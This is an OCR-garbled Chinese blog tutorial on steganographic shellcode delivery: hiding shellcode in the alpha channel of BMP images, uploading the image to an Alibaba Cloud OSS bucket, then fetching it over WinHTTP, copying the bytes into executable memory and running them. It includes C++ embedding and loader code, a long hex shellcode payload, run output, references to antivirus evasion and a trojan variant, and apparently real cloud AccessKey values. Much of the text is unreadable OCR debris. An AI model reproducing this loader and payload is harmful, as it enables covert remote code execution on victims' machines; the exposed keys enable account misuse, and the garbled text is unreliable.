BE SR B AR InIESISINE shellcode
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T, BEABNEEREM apha BER, A5 LEEFEEANI MMt
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1% Shellcode [REZIIER BMP Bl A, EFNSBHFMFT, BEABMMEEMN alpha EiE,
ARE LERIPEENNLE MREHHE shellcode HATIZIZRNSNEL, BERIMIEN T RARMUM
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o bmp Xf43k (omp file header): RRMHHHIEN. KNHFEER

o (UEERX (bitmap information): RHEGIENRT. I FEER. EELH. BE
Z5|FHER

o A& (color palette): BNk, AMEMRSIFEXTER, BHERMERSS EXINAIER



BRRETR
o {IEEIE (bitmap data): MEEGEIE

THELE Windows SEMARNENX, BE—TREDHITXETEL .
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i E{E 8.k B ITMAP INFOHEADER 40
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C/C++ BRIBREAR (—) ZIMRXHLEH:
https://blog.csdn.net/qq78442761/article/details/54863034

FT7F 010 Editor AFIEX 4N D


https://blog.csdn.net/qq78442761/article/details/54863034

= 010 Editor - C\Users\Administrator\Desktop'\pic\text bmp

i RE EBEE NE B HE @R IR &0 =&
D-2-D@eB0 $DEY@ OB 5 A2
|Ei.t| = I textZ bmp | text.b-p{ﬂl

HREE A Hex

ETTREE IETTHEME: BME.bt v |

0000h: | 5 00 00 oofEERLEIRE:E=. .....

0010h: 00 00 EC 02 00 00 03 FE FF FF 01 00 20 00 00 0O collococlifioes coc
0020h: 00 00 CO 00 00 OO 00 OO0 OO0 00 OO0 OO0 00 00 00 Q00 | sueesvomssnansnn
0030h: 00 00 OO 0O OO0 OO0 €8 SF SB FF 61 56 50 FF €3 59 ...... h [{aVPicY

0040h: 50 FF &C &3 59 FF &8 SE 53 FF 5D 52 48 FF &1 58 | P¥lcYyh"S¥]RHVaX
0050n;: 4D FF &2 58 4E FF 5D 53 45 FF SE 52 48 FF &2 56 MybENV]SI¥"RHVDV
0060n: 4B FF 6E 63 59 FF 6F 64 589 FF 64 58 4E FF 5F 533 | EincYyodY{ydXNy S
0070h: 4& FF 61 54 4A FF 64 SE 55 FF €9 5C 54 FF €0 53 | J¥aTJvyi~U¥i\IV 5
0080h:| 4B FF SE 50 4% FF &7 5B 53 FF 83 78 70 FF 84 7B | K¥ " PIVg[S¥f=pV.{
0080h: 71 FF &3 SR 50 FF 5C 52 48 FF 5E 54 44 FF 5B 52 | g¥WcZPY\RH¥ TJIV[R
00AOh: 45 FF 5& 50 44 FF 5D 51 45 FF 5C 51 44 FF &2 54 | E¥ZPDyV]QE#F\QD¥bT
00BOh: 48 FF &7 5A 4E FF 62 56 4C FF 61 55 4B FF &1 55  HygZNybVLyaUKyaU
00COh: 4C FF €6 5A 50 FF 61 55 4B FF S5E 52 49 FF 6D 60 LyfZPyaUKy "RIim"
00DOh: 57 FF &7 5C 53 FF 6A 5F 57 FF 73 68 &1 FF 75 &D | WyghS5yj_Wy¥shaium
O0EOh: 66 FF 74 6B 68 FF 73 oC €9 FF 73 €E 6D FF 75 70 | If¥tkh¥sliysnmiup
00F0Oh: ©F FF 74 &F 6D FF 78 70 €E FE 78 €F 6C FF-78,6F  oVtomixpnixolixo
0100h: 6B FF 7A GE 6B FF 76 6Ah &5 FF 74 66 61 FF &C 5F | kiznkivjeftfayl

ERRIER - BUF. bt

k=] i<} Frii #h )] 3 2 &3
4 ctyuct BEITMAFFILEHEADER bmfh Oh Eh Fz: Be:
[» CHAR bfTypel?] oo EM Oh 2h Fz: Bg:

IWOED biSize e 1522052 Zh 4h Fe: Eg:



WORD bfReserwedl o] Bh Zh Fe: Ee:

WORD bfReserwed? o] Sh zh Fe: Ee:
IWOED bf0ffEits= 54 i 1h Fz: Bz

d girypet BTTHAFTHFOHFATFE Lol EhL 28h ng ng
IWOED biSize 40 EL 4h Fz: Bz
LOW biWidth 745 12h 4h Fg: Bg:

r biHe1ght —ald 16k 4h Fg: Bg:

WOED biFlanes 1 14k Zh Fz: Bz
WOED biEitCount 32— 1ICh Zh Fz: Bz
IWOED biCempression u] 1Eh 4h Fe: Ee:
IWOED biSizeImage o] 22h 4h Fe: Ee:
LOFF biXFPelsPerMeter o] Z6h 4h Fe: Ee:
LOHZ biYFPelsPerMeter u] ZAh 1h Fe: Ee:
IWOED biClrUsed 0 ZEh 1h Fz: Bz
IWOED biClrImportant u] 32h 4h Fe: Ee:

> gtruct BITMAPLINE line=[5097 6L 1T3CFOL Fz: Bz

= 14 [Eh] =77 GEE: 0 [0h] 2 13 [Dh)

—. bmp X%

Hoh X #BIM NS48 BITMAPFILEHEADER #1 BITMAPINFOHEADER, XEE®REZE T XD
Bmp XHHRZER.,

typedef struct tagBITMAPFILEHEADER
{
UINT16 bfType; /) EREER  2FT
DWORD bfSize; // wHBFEA/) 4FT
UINT16 bfReservedl; // REEFE, ©iFH0 2FF
UINT16 bfReserved?; // REF, #FHO 2FT
DWORD bfOffBits; // MXHLEIZLIrIEIGRHIEN REEEZL 4FT
} BITMAPFILEHEADER; //—XI167FT

1. BFFLHFN 738 51% 42H, 4DH 569 ASCI EHBIFR BM, FiGH) BMP AR
A FBI

2. JEE LR FEHNAN (XEXNA+73#ER 26 3D 17 00, {BXI&iItA/NHEEMN, FrlA
fit—NEE 00 17 3D 26, #pEH#EIR A 1522982)

2 FEAOOBANFRANESL IMEZE R N



Ve SR OOHIJAOPRPPYI 1T BYAN NX*=RJUL/J VYo

4. BERITH bfOffBits M BMP XHME—1MFTAE, FI5E 54 MFHMEEENAS.
—. (B{E 8k (bitmap-informationheader)
B4, Windows AMIEERELEN T U TEMIR:

typedef struct tagBITMAPINFOHEADER
{
DWORD biSize; // Bz H—REEHFTH 2FT
LONG biWidth; // BESEEHIBE, WEERSEM 455
LONG biHeight; // HHIEAHISE, UGRENEL 4F7F
WORD biPlanes; //Eiik, =28~ 2TFF

WORD biBitCount; //EHFE N EELEZIbitll, AUBELXNFERABEREE 21MFET
DWORD biCompression; // FEMBRIEREEZE 2TFT (BMPEEIEEE)

DWORD biSizelmage; //iZBEEIEA/) 21DFET

LONG biXPelsPerMeter; //KFpiHE 457 Bl HE/K

LONG biYPelsPerMeter; //EESHFIFT

DWORD biClrUsed; //iZBF1EEBRIETIEZESIH 4F7

DWORD biClrImportant; //4F7

} BITMAPINFOHEADER; // —H407FT

5.biSze E23E3X struct BITMAPINDOHEADER bmih &5 40 NEH AN,
6.biWidth, 1 biHeight 8BS MRS

6. ZEEk bitBitCount f{Z&: BGRA #E. 4. £I. alpha, XEFE—MEE, BSHZ), &4
Z/0, 5%/, alpha RIEBEE, XITFHHNHERTNSIZGEZRNERE: H{ENO
B, ZGEREER, FIRXFFERESET, MAERERRNESER.

7. I T EMAGERRE: TR OMEER BGRA 7,



0x03 fEF 3L

MAERXMEFNBEME

1. B C/C++ IDIEENE /X4 B EATX M EEHR

2. EME K RIAFESR, KB bfOffBlts, EB3KEX alpha @& (+4) .

3. iEEEIR D, HEAE alpha @&, RIFXH LERIRIERIRIFME OSS S RIEEMIA L.
4. InFRIEERIE N E £ 1Y alpha @&, HHEZHAS shellcode BRIFRFINE .

—. BIRERK
T HEBFBN, ¥ CS £MM shellcode FIRA hex 473

code = "\xfc\xe8\x8Nx00\x0O\xOO\x60\Xx56\x78......... "
print(code.encode( hex"))

BIMEIBZ2&  https://github.com/loyalty—fox/idshwk7

//dwBmpSize. cpp
#include "dwBmpSize.h"

CBMPHide: :CBMPHide()

{
sBmpFileName = "";
pBuf = 0;
dwBmpSize = 0;

ks

CBMPHide: :~CBMPHide()
{

}


https://github.com/loyalty-fox/idshwk7

bool CBMPHide: :setBmpFileName(char* szFileName)
{

this->sBmpFileName = szFileName;
if (pBuf) UREZEFEILIE
{

delete[]pBuf;

HANDLE hfile = CreateFileA(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

if (hfile == INVALID_HANDLE_VALUE)

{

return false;

//fistruct BITMAPFILEHEADER bmfhZEEHT bfSizeRIA/\irizE—rEA.,
dwBmpSize = GetFileSize(hfile, 0); //FFEXXIEATA L)
pBuf = new byte[dwBmpSize];
DWORD dwRead = 0;
ReadFile(hfile, pBuf, dwBmpSize, &dwRead, 0);
if (dwRead != dwBmpSize)
{
delete[]pBuf;

pBuf = 0;
return false;

}
CloseHandle(hfile);
m_fileHdr = (BITMAPFILEHEADER*)pBuf;

m_infoHdr = (BITMAPINFOHEADER*)(pBuf + sizeof(BITMAPFILEHEADER));
return true; //HINEREXERIANBEEFpBufEE

int CBMPHide: :getBmpWidth()

return m_infoHdr->biWidth;



int CBMPHide: :getBmpHeight()

{

return m_infoHdr->biHeight;

int CBMPHide: :getBmpBitCount()

{

return m_infoHdr->biBitCount;

bool CBMPHide: :save()

{

}

string sDstFileName = "save.bmp";

HANDLE hfile = CreateFileA(sDstFileName.c_str(),

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS, 0, 0);

if (hfile == INVALID_HANDLE_VALUE)

{

return false;

DWORD dwWritten = 0;

WriteFileChfile, pBuf, dwBmpSize, &dwWritten,
if (dwBmpSize != dwWritten)

{

return false;

}
CloseHandle(hfile);

return true;

0);

SR T FHEIE R, EFHFEREFT, SAETMGRENalpha@EEF
bool CBMPHide: :hideString2BMP(char* szStr2Hide)

{

LPBYTE pAlpha = pBuf + m_fileHdr->bfOffBits + 3;

int nHide; //BIHEEEFET744

/S E—TREREEE



LSRR EAN—TFT, RAalphaiE&
//(pAlpha - pBuf) < m_fileHdr->bfSizexXNEHIBFFFEEXA, Bl TBEIEHE
for (nHide = 0; (pAlpha - pBuf) < m_fileHdr->bfSize && szStrZ2Hide[nHide] != 0; nHide++,
pAlpha += 4)
{
*pAlpha = szStr2Hide[nHide]; /BA—1TFET

return true;

3
//main. cpp

int main(int char

{
if (argc < 2)
{
wprintf(L"Command: %S <SHELLCODE> ...\n", argv[0]);
return -1;

CBMPHide hide;
hide.setBmpFileName((char*)"test.bmp");
printf_s("test.bmp width:%d,height:%d,bitCount%d\n",
hide.getBmpWidth(),
hide.getBmpHeight(),
hide.getBmpBitCount());
char * shellcode = argv[1];
hide.hideString2BMP((char*)shellcode);
hide.save();
cout << shellcode << endl;

(O]

BITER:

C:\Users\ThinkPad\Desktop\SimpleShellcode\ShellcodeRun\Debug>SimpleShellcode.exe fceB8890800006089e531d2648b52308b520c8b52148b722801b742263
0508b48188b582001d3e33c498b348b01d631TF31cPacclcfOdO1c738e075T4037dT83b7d247522588b582401d3668b8c4bB8b581c01d38bo48bO1d0894424245b5b61595a5
757575757683a5679a7fd5e9a40000005b31c951516a03515168bb01606653586857899Tc6ffd550e98c0800005b31d252680832c08452525253525068eb552e3bTfd589¢



87bffd585c00T84ca@1000031f f85T6740485T9ebB968aac5e25df fd589c16845215e31ffd5311f576a8751565068b757e00bf fd5bTe02T000839c775875858e97bf T {13
4fdd8797268ed7684419d9a0cBbabf2b84d365a74a8cc6b04{7abd4498ecebd118lac6e244cd38d5F8840b78af8bc65a4d1dc24229d499d847298208557365722d4167656
03b2057696264617773204e5420362e313b2054726964656e74213522303b2058424c5750373b205a756e65575037290d0al86T73743a207761696d61692e6d65697475616
098c697c8ebd@edc75b1ddac33f5d1d813138%bcbd7e6bb3cef4397a3005113bdede599871729d7ad38a366cT27de21490aa69bd173d1c6381974d7145415a7@a911a72bat
fb46e8239%cefed081084a0a81act3051bcf64d99868Febd9e1bBd7936ecc7 FA4b8eBcbb8cb7198b69a361353ab47d5b300068F8b5a256T fd56a4086860100006680000408605
074c68b0701c385c075e558c3e889df ff13135332e33223233312e3139320012345678

test.bmp width:738,height:-389,bitCount32

. Xt L%

BN EZIZH & REXNRFME OSS, B Bucket, IFIEEMRIAAHIE,

£l Bucket @ tlEtfEzsE >

A Bucket QIEREING, SEMEERN FEED, KE A5EE,

Bucket &R simples 7/638@
XE #ik2 (A=) v

HEXERAFRAMAILIEE; TWEASERRE, FEREE,

Endpoint oss-cn-beijing.aliyuncs.com
e ie] InEEFE {RAmnE=E ISrEERE

wtE: SUE, SUA, S, WESEERNEE,
NEEES SRS

EleaEs Hot =R ESEi




0SS HEIERL AN TEMETR—XE (Region) B9 3 AATAK (Zone) =, ZEHHEER
BRaih, BEEHEEEN FEnAEE,
Ei AR SErEIRET BiE, RitsERENESitSinG 588
WsFE., RELAEREETER, BAsasxd.

Gzl ot FiE P St

SR ER1E AccessKey BIEERLINIEIREXRI AccessKeylD #1 AccessKeySecret,

https://usercenter.console.aliyun.com/#/manage/ak

FEFF AccessKey
g LeZEEE
SR AccessKey T FEIIE—S, ERAHRE!
S s
FrAccessK - .
A= @ FhriEAccessKeyp I !

LTAI4G1TpYgbTZAr8r6QwsyE
I AccessKeyFI5
LTAI4G6FRvgEH5umdBat2bnh

AccessKey ID: AccessKey Secret:
LTAI4G1TpYgbTZAr8roQwsyE IKcituP7TOH9VORIS6IIOV

{£A aliyunSDK Hf4 put_object_from_file /535 _E{EBN St


https://usercenter.console.aliyun.com/#/manage/ak

import oss?2
import os
import random
import string

class 0SS2Q):
def __init__(self, accesskeyid, accesskeysecret, endpoint, bucket,
filename):
self.accessid = accesskeyid
self.accesskey = accesskeysecret
self.endpoint = endpoint #OSSHRSZZEENXIAGIEE HhtF
self.bucketstring = bucket #AIEZZHIE/H
self.filename = filename # LF1EHIXIFS

self.ossDir =
self.randt = "".join(

random.sample([x for x in string.digits + string.digits], 12))
self.connection()

def connection(self):
auth = oss2.Auth(self.accessid, self.accesskey)
self.bucket = oss2.Bucket(auth, self.endpoint, self.bucketstring)

def uploadFile(self):
pathfile = (str(self.randt) + ".bmp")
os.rename(self.filename, pathfile)
remoteName = self.ossDir + os.path.basename(pathfile)

print("remoteName is" + + remoteName)

print('uploading..', pathfile, 'remoteName', remoteName)

result = self.bucket.put_object_from_file(remoteName, pathfile)

url = "https://xxxx.oss-cn-beijing.aliyuncs.com/{}".format(pathfile)

print("http_url: {} http_status: {}'.formatCurl,result.status))

oss = 0SS2(



accesskeyild="XXXX",
accesskeysecret="xxxx",
endpoint="o0ss-cn-beijing.aliyuncs.com',
bucket="xxxx",

filename ="test.bmp'

)
oss.uploadFile()

C:\Users\ThinkPad\AppData‘\Local\Programs\Python\Python38-32\python3.exe C:/Users/ThinkPad/Desktop/My/MyScript/Temp/:
remotelame 1s:653982326445.bmp

uploading.. 653982326445 .bmp remoteName 653982326445 .bmp

http_url: https: /- - cn-beijing.aliyuncs.com/653982326445.bmp http_status: 20

request_id: 5F32C4BCDAD5753538462D7C

ETag: 5CDA4672B16F2AEECA39D59014C915725

=. &2

XEA WInHTTP X EEERE L oss 5% LR bmp B R NERfEIREEIF R & FHIREY
alpha BEHRBNFETHE shellcode, AEER VirtualAlloc 7y shellcode DBATE, B
ZNEEIE, WAFEIHRAER IR, BAMPITINR, Z/E, {£A memcpy 1§ shellcode
BEFPENAZIET., &5, H1T shellcode,

void download(const wchar_t const wchar_t

{
URL_INFO url_info = { 0 };

URL_COMPONENTSW 1pUrlComponents = { 0 };

1pUrlComponents.dwStructSize = sizeof(1pUrlComponents);
1pUrlComponents.lpszExtraInfo = url_info.szExtralnfo;
1pUrlComponents.lpszHostName = url_info.szHostName;
1pUrlComponents.lpszPassword = url_info.szPassword;
1pUrlComponents.lpszScheme = url_info.szScheme;
1pUrlComponents.lpszUrlPath = url_info.szUrlPath;
1pUrlComponents.lpszUserName = url_info.szUserName;

1pUrlComponents.dwExtralnfoLength =
1pUrlComponents.dwHostNamelLength
1pUrlComponents.dwPasswordLength
Tnllr1Comnonents dwSchemel enath =


https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=vs-2019

m e e e m e e v — e e — g s

1pUrlComponents.dwUrlPathLength =
1pUrlComponents.dwUserNamelLength = 512;

WinHttpCrackUr1(Url, @, ICU_ESCAPE, &lpUrlComponents);

HINTERNET hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, ©);

DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;

HINTERNET hConnect = WinHttpConnect(hSession, lpUrlComponents.lpszHostName, 1pUrlCompon
ents.nPort, 0);

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"HEAD", lpUrlComponents.lpszUrlPath,
L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);

WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, @, WINHTTP_NO_REQUEST_DATA,
0, 0, 0);

WinHttpReceiveResponse(hRequest, 0);

WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,

NULL, &dwContentSize, &dwSizeDW, &dwIndex);
WinHttpCloseHandle(hRequest);

hRequest = WinHttpOpenRequest(hConnect, L"GET", 1lpUrlComponents.lpszUrlPath, L"HTTP/1.
1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);

WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, @, WINHTTP_NO_REQUEST_DATA,
0, 0, 0);

WinHttpReceiveResponse(hRequest, 0);

BYTE *pBuffer = NULL;

pBuffer = new BYTE[dwContentSize];

ZeroMemory(pBuffer, dwContentSize);

do {
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
Func(dwContentSize, dwReadBytes);

} while (dwReadBytes == 0);

//cout << pBuffer << endl;

BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer;
LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3;

char szTmp[1900];

Rt1ZeroMemory(szTmp, 1900);

€Aan (fanmdk = _ A 5 _~ 10MAMA. 1 N\



1vI LLIIL L = v, L < 1Jvvu, LTT )

{
if (*pStr == 0 || *pStr == OxFF)
{
break;
}
szTmp<i> = *pStr;
pStr += 4;
b

//printf_s(szTmp);

unsigned int char_in_hex;

unsigned int iterations = strlen(szTmp);

unsigned int memory_allocation = strlen(szTmp) / 2;

# &JEshellcode
for (unsigned int 0 2 {
sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex);

szTmp<i> = (char)char_in_hex;

void* abvc = VirtualAlloc(@, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(abvc, szTmp, memory_allocation);

DWORD 1ignore;
VirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);

(*(void(*)(D) abva);

delete pBuffer;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);

int main(int char

c



download(L"https://xxxx.0ss-cn-beijing.aliyuncs.com:8@/xxxxx.bmp", L"./163Music", &dcal
1lback);
}

Bt
github: https://github.com/cly2m3/SimpleShellcode

BREMNEERBHMEERT, MIFMELET, XERELALINEEMMA Web ELEMD, K
AR HITRFLEENRES, BARBERUERIRZM,

ShellcodeRun(JTFE/INETER)

LIIE: EEEEShelcodeFHRIEAT, IEFFERETT, SAEMRENaphaEEs
HER S mossiEE MU ENshellcodeifH TImEaES IR,
2aB9bd173d1c6381974d71454f5a70a911a72baGedaT1cec8ab108604d03c785438260 166 *
¢16c8d66020a21c69397a7bf13f5013288b586fb46e82390cefe4081084a0ad 1acf3051bcf64
d99068febde1b0d7936eccTi4b8e0chABChT 190b69a361353ab47d5b300068f0h5a256fd5
6a4068001000006800004000576858a453e5fd593b90000000001d9515389e7576800200
000535668129689e21fd585c07 4c68b0701c385¢0750558c3e880fdM31353326332632333 -
1263139320012345678 s

Trojan(Bf43)

THYEE: SETASEERhERERTON, BITHAZ SEAERREN D OCIRL R IS S e SR 4R
RIEEE ShellcodeRunERFNRT VT HR I TR T TP word SRR BT, EFHNET=EHRRES.
B 7 NsIShellcode~

In development.

5 127.0.0.1 FINERY....



https://github.com/c1y2m3/SimpleShellcode

0x04 SE 14z
https://www.cnblogs.com/Matrix_Yao/archive/2009/12/02/1615295.html
https://blog.csdn.net/qq78442761/article/details/54880328
https://github.com/loyalty—fox/idshwk?7
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